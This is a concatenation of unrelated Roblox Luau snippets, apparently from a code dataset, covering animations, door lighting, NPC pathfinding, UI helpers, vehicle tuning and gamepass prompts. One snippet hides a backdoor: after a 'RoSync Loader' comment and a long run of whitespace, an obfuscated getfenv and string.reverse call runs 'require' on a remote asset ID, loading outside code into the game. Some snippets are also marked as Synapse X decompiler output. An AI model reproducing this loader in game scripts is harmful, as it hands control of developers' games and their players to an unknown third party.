Roblox/luau_corpus huggingface dataset:
------//Sprinting Animations
self.RightSprint = CFrame.new(-1, 1.1, -0.5) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0));
self.LeftSprint = CFrame.new(1,1,-0.9) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));

self.RightElbowSprint = CFrame.new(0,0,0)  * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftElbowSprint = CFrame.new(0,0,0)  * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));

self.RightWristSprint = CFrame.new(0,0,0)  * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftWristSprint = CFrame.new(0,0,0)  * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));

return self
--wait(10)
--CloseDoor()
wait(999999)

cooldown =false
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--[[
	[Horizontal and Vertical limits for head and body tracking.]
	[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]]
local HeadHorFactor = 1
local HeadVertFactor = 1
local BodyHorFactor = 1
local BodyVertFactor = 1
--- Update the text entry label
function Window:UpdateLabel()
	Entry.TextLabel.Text = Player.Name .. "@" .. self.Cmdr.PlaceName .. "$"
end
--[[ Last synced 12/1/2022 07:25 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--[[**
		ensures value matches given interface definition

		@param checkTable The interface definition

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.interface(checkTable)
		assert(checkInterface(checkTable))
		return function(value)
			local tableSuccess = t.table(value)
			if tableSuccess == false then
				return false
			end

			for key, check in pairs(checkTable) do
				local success = check(value[key])
				if success == false then
					return false
				end
			end

			return true
		end
	end
-- Helper functions

function angleBetweenPoints(p0, p1)
local p = p0 - p1
return -math.atan2(p.z, p.x)
end


function getCameraAngle(camera)
local cf, f = camera.CoordinateFrame, camera.Focus
return angleBetweenPoints(cf.p, f.p)
end
-- Buttons
Button.MouseClick:connect(function(Player)
	if (Hold == true) then return end
	Hold = true

	-- Get Avatar
	Avatar = Player.Character

	MorphPlayer(Avatar)

	Default()
end)
--[=[
	@within ClientRemoteSignal
	@interface Connection
	.Disconnect () -> ()
]=]

function ClientRemoteSignal.new(
	re: RemoteEvent,
	inboundMiddleware: Types.ClientMiddleware?,
	outboudMiddleware: Types.ClientMiddleware?
)
	local self = setmetatable({}, ClientRemoteSignal)
	self._re = re
	if outboudMiddleware and #outboudMiddleware > 0 then
		self._hasOutbound = true
		self._outbound = outboudMiddleware
	else
		self._hasOutbound = false
	end
	if inboundMiddleware and #inboundMiddleware > 0 then
		self._directConnect = false
		self._signal = Signal.new()
		self._reConn = self._re.OnClientEvent:Connect(function(...)
			local args = table.pack(...)
			for _, middlewareFunc in ipairs(inboundMiddleware) do
				local middlewareResult = table.pack(middlewareFunc(args))
				if not middlewareResult[1] then
					return
				end
				args.n = #args
			end
			self._signal:Fire(table.unpack(args, 1, args.n))
		end)
	else
		self._directConnect = true
	end
	return self
end

function ClientRemoteSignal:_processOutboundMiddleware(...: any)
	local args = table.pack(...)
	for _, middlewareFunc in ipairs(self._outbound) do
		local middlewareResult = table.pack(middlewareFunc(args))
		if not middlewareResult[1] then
			return table.unpack(middlewareResult, 2, middlewareResult.n)
		end
		args.n = #args
	end
	return table.unpack(args, 1, args.n)
end
-- no touchy
local path
local waypoint
local oldpoints
local isWandering = 0

if canWander then
	spawn(function()
		while isWandering == 0 do
			isWandering = 1
			local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)
			human:MoveTo( Vector3.new(desgx, 0, desgz) )
			wait(math.random(4, 6))
			isWandering = 0
		end
	end)
end

while wait() do
	local enemybody = Getbody(hroot.Position)	
	if enemybody ~= nil then -- if player detected
		isWandering = 1
		local function checkw(t)
			local ci = 3
			if ci > #t then
				ci = 3
			end
			if t[ci] == nil and ci < #t then
				repeat
					ci = ci + 1
					wait()
				until t[ci] ~= nil
				return Vector3.new(1, 0, 0) + t[ci]
			else
				ci = 3
				return t[ci]
			end
		end
		
		path = pfs:FindPathAsync(hroot.Position, enemybody.Position)
		waypoint = path:GetWaypoints()
		oldpoints = waypoint
		local connection;
		
		local direct = Vector3.FromNormalId(Enum.NormalId.Front)
		local ncf = hroot.CFrame * CFrame.new(direct)
		direct = ncf.p.unit
		local rootr = Ray.new(hroot.Position, direct)
		local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)
		
		if path and waypoint or checkw(waypoint) then
			if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then
				human:MoveTo( checkw(waypoint).Position )
				human.Jump = false
			end
			
			-- CANNOT LET BALDI JUMPS --
			--[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then
				human.Jump = true
				connection = human.Changed:connect(function()
					human.Jump = true
				end)
				human:MoveTo( checkw(waypoint).Position )
			else
				human.Jump = false
			end]]
			
			--[[hroot.Touched:connect(function(p)
				local bodypartnames = GetPlayersbodyParts(enemybody)
				if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then
					connection = human.Changed:connect(function()
						human.Jump = true
					end)
				else
					human.Jump = false
				end
			end)]]
			
			if connection then
				connection:Disconnect()
			end
			
		else
			for i = 3, #oldpoints do
				human:MoveTo( oldpoints[i].Position )	
			end
		end
	elseif enemybody == nil and canWander then -- if player not detected
		isWandering = 0
		path = nil
		waypoint = nil
		human.MoveToFinished:Wait()
	end
end
--- Services ---

local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local CollectionService = game:GetService("CollectionService")
--[=[
	@within TableUtil
	@function Extend
	@param target table
	@param extension table
	@return table

	Extends the target array with the extension array.

	```lua
	local t = {10, 20, 30}
	local t2 = {30, 40, 50}
	local tNew = TableUtil.Extend(t, t2)
	print(tNew) --> {10, 20, 30, 30, 40, 50}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]
local function Extend<T, E>(target: { T }, extension: { E }): { T } & { E }
	local tbl = table.clone(target) :: { any }
	for _, v in extension do
		table.insert(tbl, v)
	end
	return tbl
end
------------------------------------------------------------------------
--
-- * used only in (lparser) luaY:primaryexp()
------------------------------------------------------------------------
function luaK:_self(fs, e, key)
  self:exp2anyreg(fs, e)
  self:freeexp(fs, e)
  local func = fs.freereg
  self:reserveregs(fs, 2)
  self:codeABC(fs, "OP_SELF", func, e.info, self:exp2RK(fs, key))
  self:freeexp(fs, key)
  e.info = func
  e.k = "VNONRELOC"
end
--[[Transmission]]--
Tune.Clutch			= true		-- Implements a realistic clutch.

Tune.TransModes		= {"DCT"}												--[[
	[Modes]
		"Manual"	;	Traditional clutch operated manual transmission
		"DCT"		;	Dual clutch transmission, where clutch is operated automatically 
		"Auto"		;	Automatic transmission that shifts for you
		
		>Include within brackets
			eg: {"Manual"} or {"DCT", "Manual"}								
	>First mode is default mode				]]
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound")

UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.V and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = 2
		Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		script.RemoteEventS:FireServer()
	    EF = game.ReplicatedStorage.Thunder.Aim:Clone()
		EF.Parent = plr.Character
		EF.Name = "AIM"
		for i = 1,math.huge do
			if Debounce == 2 then
				EF.CFrame = CFrame.new(Mouse.Hit.p)
				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else
				
				break
				end
	     wait()
	  end
	end
end)

UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.V and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
		Debounce = 3
		local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		wait(0.5)
		EF:Destroy()
		Track2:Stop()
		plr.Character.HumanoidRootPart.Anchored = false
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)
--model.Part.Touched:Connect(function(player)
	--if triggered==false then
	--	triggered=true
	--	leftTweenOpen:Play()
	--	rightTweenOpen:Play()
	--	model.Part.DoorStart:Play()
	--	wait(4)
	--	model.Part.DoorStart:Stop()
	--	model.Part.DoorStop:Play()
--GAMEPASS--OR--DevProduct--
local Gamepass = script.Parent.Parent.GamepassId
local GamepassInfo = MarketplaceService:GetProductInfo(Gamepass.Value, Enum.InfoType.GamePass.Name)
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
	,VRecoil = {0,0}				--- Vertical Recoil
	,HRecoil = {0,0}				--- Horizontal Recoil
	,AimRecover = 0					---- Between 0 & 1
	
	,RecoilPunch = 0
	,VPunchBase = 0					--- Vertical Punch
	,HPunchBase = 0					--- Horizontal Punch
	,DPunchBase = 0 				--- Tilt Punch | useless
	
	,AimRecoilReduction = 0 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0
	,MinRecoilPower = 0
	,MaxRecoilPower = 0
	,RecoilPowerStepAmount = 0
	
	,MinSpread = 0					--- Min bullet spread value | Studs
	,MaxSpread = 0					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 0
	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.05				--- Weapon Base Sway | Studs
	,MaxSway =	2					--- Max sway value based on player stamina | Studs
-- Decompiled with the Synapse X Luau decompiler.

local l__MarketplaceService__1 = game:GetService("MarketplaceService");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__ReplicatedStorage__3 = game.ReplicatedStorage;
script.Parent.MouseButton1Click:Connect(function()
	l__MarketplaceService__1:PromptGamePassPurchase(l__LocalPlayer__2, l__ReplicatedStorage__3.GamepassIDs.ExtraEquipped.Value);
end);
--end

function UpdateGUI(health)
	local pgui = game.Players:GetPlayerFromCharacter(humanoid.Parent).PlayerGui
	local tray = pgui.HealthGUI.Tray
	
	tray.HealthBar.Size = UDim2.new(0.2, 0, 0.8 * (health / humanoid.MaxHealth), 0) 
	tray.HealthBar.Position = UDim2.new(0.4, 0, 0.8 * (1-  (health / humanoid.MaxHealth)) , 0) 
	if script.Parent.Humanoid.Health <= 30 then
		tray.HealthBar.BackgroundColor3 = Color3.new(255/255, 0/255, 0/255)
		print("red")
		tray.Color.Value = "Red"
	elseif script.Parent.Humanoid.Health <= 70 then
		tray.HealthBar.BackgroundColor3 = Color3.new(255/255, 255/255, 0/255)
		print("yellow")
		tray.Color.Value = "Yellow"
	elseif script.Parent.Humanoid.Health > 70 then
		tray.HealthBar.BackgroundColor3 = Color3.new(0/255, 255/255, 0/255)
		print("green")
		tray.Color.Value = "Green"
	end
	if script.Parent.Humanoid.Health == 0 then
		print("dead")
		tray.Color.Value = "Dead"
	end
end


function HealthChanged(health)
	UpdateGUI(health)
end
--script.Parent.ZZ.Velocity = script.Parent.ZZ.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.ZZZ.Velocity = script.Parent.ZZZ.CFrame.lookVector *script.Parent.Speed.Value
wait(0.1)
end
---
local  Paint = false
	
script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Artichoke",Paint)
end)
---Green Script---

script.Parent.Red.Transparency = 0.9
 
script.Parent.Gre.Transparency = 0.9

while true do

	script.Parent.Red.Transparency = 0

	script.Parent.Gre.Transparency = 0.9
	
	wait (1)
	
	script.Parent.Red.Transparency = 0

	script.Parent.Gre.Transparency = 0.9
	
	wait (30)
	
	script.Parent.Red.Transparency = 0 

	script.Parent.Gre.Transparency = 0.9
	
	wait (4)
	
	script.Parent.Red.Transparency = 0

	script.Parent.Gre.Transparency = 0.9
	
	wait (3)
	
	script.Parent.Red.Transparency = 0

	script.Parent.Gre.Transparency = 0.9
	
	wait (1)
	
	script.Parent.Red.Transparency = 0.9
	script.Parent.SoundBox.Beep:Play()
	script.Parent.Gre.Transparency = 0 
	
	wait (25)
	script.Parent.SoundBox.Beep:Stop()
	script.Parent.FlashScript.Disabled = false
	
	wait (5) 
	
	script.Parent.FlashScript.Disabled = true 
	
	script.Parent.Red.Transparency = 0

	script.Parent.Gre.Transparency = 0.9 
	
	wait (4)
	
	script.Parent.Red.Transparency = 0
 
	script.Parent.Gre.Transparency = 0.9
	
	wait (3)	
	
end
-- Decompiled with the Synapse X Luau decompiler.

local l__LocalPlayer__1 = game:GetService("Players").LocalPlayer;
local v2 = l__LocalPlayer__1.Character or l__LocalPlayer__1.CharacterAdded:Wait();
local l__HumanoidRootPart__3 = v2:WaitForChild("HumanoidRootPart");
local v4 = Instance.new("BodyVelocity");
v4.Parent = l__HumanoidRootPart__3;
local u1 = nil;
local l__Humanoid__2 = v2:WaitForChild("Humanoid");
local u3 = false;
canjump = 10;
local function u4()
	u1 = l__Humanoid__2:GetState();
	if u1 ~= Enum.HumanoidStateType.Freefall then
		v4.MaxForce = Vector3.new(0, 0, 0);
		v4.Velocity = l__HumanoidRootPart__3.Velocity;
		u3 = false;
		return;
	end;
	v4.MaxForce = Vector3.new(5000, 0, 5000);
	if not u3 then
		v4.Velocity = v4.Velocity * 1.25;
		u3 = true;
	end;
	v4.Velocity = v4.Velocity + l__Humanoid__2.MoveDirection * 1;
end;
game:GetService("RunService").RenderStepped:Connect(function()
	u4();
	canjump = math.clamp(canjump - 1, 0, 10);
end);
l__Humanoid__2.UseJumpPower = true;
game:GetService("UserInputService").JumpRequest:Connect(function()
	if canjump == 0 then
		l__Humanoid__2.JumpPower = 40;
	else
		l__Humanoid__2.JumpPower = 0;
	end;
	canjump = 10;
end);
l__Humanoid__2.Died:Connect(function()
	v4:Destroy();
end);
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


function Update()
	--- Grab states
	local touchEnabled = _L.Services.UserInputService.TouchEnabled
	local keyboardEnabled = _L.Services.UserInputService.KeyboardEnabled
	local mouseEnabled = _L.Services.UserInputService.MouseEnabled
	local gamepadEnabled =  _L.Services.UserInputService.GamepadEnabled
	local gryoEnabled = _L.Services.UserInputService.GyroscopeEnabled
	local meterEnabled = _L.Services.UserInputService.AccelerometerEnabled
	local vrEnabled = _L.Services.UserInputService.VREnabled
	local isTV = game:GetService("GuiService"):IsTenFootInterface()
	
	--- Vars
	local console = false
	local mobile = false
	local desktop = false
	local vr = false
	
	--- Platform logic
	if gamepadEnabled then
		--- Console (for sure)
		console = true
		
	elseif isTV and (not mouseEnabled) then
		--- Console (maybeee)
		console = true
		
	elseif vrEnabled then
		--- VR (for sure)
		vr = true
		desktop = _L.Settings.SupportsVR or false
		
	elseif touchEnabled and (not mouseEnabled) then
		--- Mobile (for sure)
		mobile = true
		
	elseif gryoEnabled or meterEnabled then
		--- Mobile (maybe)
		mobile = true
		
	else
		--- Desktop (if all else)
		desktop = true
	end
	
	--- Variable logic
	_L.Variables.Desktop = desktop
	_L.Variables.Mobile = mobile
	_L.Variables.Console = console
	_L.Variables.VR = vr
	
end
--[[
	~= EXAMPLE CODE =~
	return function(gui,gTable,guiData)
		local name = gTable.Name
		if name == "YesNoPrompt" then
			local new = Instance.new("ScreenGui")
			local frame = Instance.new("Frame",new)
			frame.Size = UDim2.new(0,400,0,400)
			local yes = Instance.new("TextButton",frame)
			yes.Size = UDim2.new(0.5,0,1,0)
			yes.Text = "Yes"
			local no = yes:Clone()
			no.Text = "No"
			no.Position = UDim2.new(0.5,0,0,0)
			
			local gTable,gIndex = client.UI.Register(new)
			
			local ans
			local waiting = true
			
			gTable.CustomDestroy = function()
				waiting = false
			end
			
			yes.MouseButton1Click:Connect(function()
				ans = "Yes"
				gTable:Destroy()
			end)
			
			no.MouseButton1Click:Connect(function()
				ans = "No"
				gTable:Destroy()
			end)
			
			repeat wait() until ans or not waiting  --// Wait until answer
			return ans or false
		end
	end
	
--]]

service = nil
client = nil

return function(gui: ScreenGui, guiData, gTable)
	local TWEEN_TIME = 2
	local SEQUENCE = {
		Color3.fromRGB(255, 85, 88), 
		Color3.fromRGB(78, 140, 255), 
		Color3.fromRGB(78, 255, 149)
	}
	local CLASSES = {
		Frame = true;
		TextBox = true;
		TextLabel = true;
		TextButton = true;
		ImageLabel = true;
		ImageButton = true; 
		ScrollingFrame = true;
	}
	
	local contents = {}
	local OrgColors = {}
	
	local function getCont(obj)
		for _, v in obj:GetChildren() do 
			if CLASSES[v.ClassName] then
				local OrgColor = {}
				OrgColor.Background = v.BackgroundColor3
				if v:IsA("ImageLabel") or v:IsA("ImageButton") then 
					OrgColor.Image = v.ImageColor3 
				end
				OrgColors[v] = OrgColor
				table.insert(contents, v)
				getCont(v)
			end
		end
	end
	
	getCont(gui)
	
	if gTable.Name == "List" then
		gui.Drag.Main.BackgroundTransparency = 0
	end
	
	local function tweenToColor(color1, color2, time)
		local Info = TweenInfo.new(time, Enum.EasingStyle.Linear)
		for _, v in contents do
			local orgcolor = OrgColors[v]
			v.BackgroundColor3 = color1:lerp(orgcolor.Background, 0.75)
			if orgcolor.Image then
				v.ImageColor3 = color1:lerp(orgcolor.Image, 0.75)
				service.TweenService:Create(v, Info, {
					BackgroundColor3 = color2:lerp(orgcolor.Background, 0.75),
					ImageColor3 = color2:lerp(orgcolor.Image, 0.75)
				}):Play()
			else
				service.TweenService:Create(v, Info, {
					BackgroundColor3 = color2:lerp(orgcolor.Background, 0.75)
				}):Play()
			end
		end
		task.wait(time)
	end
	
	service.TrackTask("Thread: Colorize_"..tostring(gTable.Name),function()
		repeat 
			for i in SEQUENCE do
				local one, two = SEQUENCE[i], SEQUENCE[i+1] or SEQUENCE[1]
				
				tweenToColor(one, two, TWEEN_TIME)
			end
		until not task.wait(if gTable.Active then 0 else 1) and gTable.Destroyed
		
	end)
end
-- Push dedented lines of markup onto output and return true;
-- otherwise return false because:
-- * props include a multiline string
-- * text has more than one adjacent line
-- * markup does not close
function dedentMarkup(input: Array<string>, output: Array<string>): boolean
	local line = input[#output + 1]

	if not dedentStartTag(input, output) then
		return false
	end

	if string.find(input[#output], "/>") then
		return true
	end

	local isText = false
	local stack: Array<number> = {}
	table.insert(stack, getIndentationLength(line))

	while #stack > 0 and #output < #input do
		line = input[#output + 1]

		if isFirstLineOfTag(line) then
			if string.find(line, "</") then
				table.insert(output, dedentLine(line))
				table.remove(stack)
			else
				if not dedentStartTag(input, output) then
					return false
				end

				if not string.find(input[#output], "/>") then
					table.insert(stack, getIndentationLength(line))
				end
			end
			isText = false
		else
			if isText then
				return false -- because text has more than one adjacent line
			end

			local getIndentationLengthOfTag = stack[#stack]
			table.insert(output, line:sub(getIndentationLengthOfTag + 3))
			isText = true
		end
	end

	return #stack == 0
end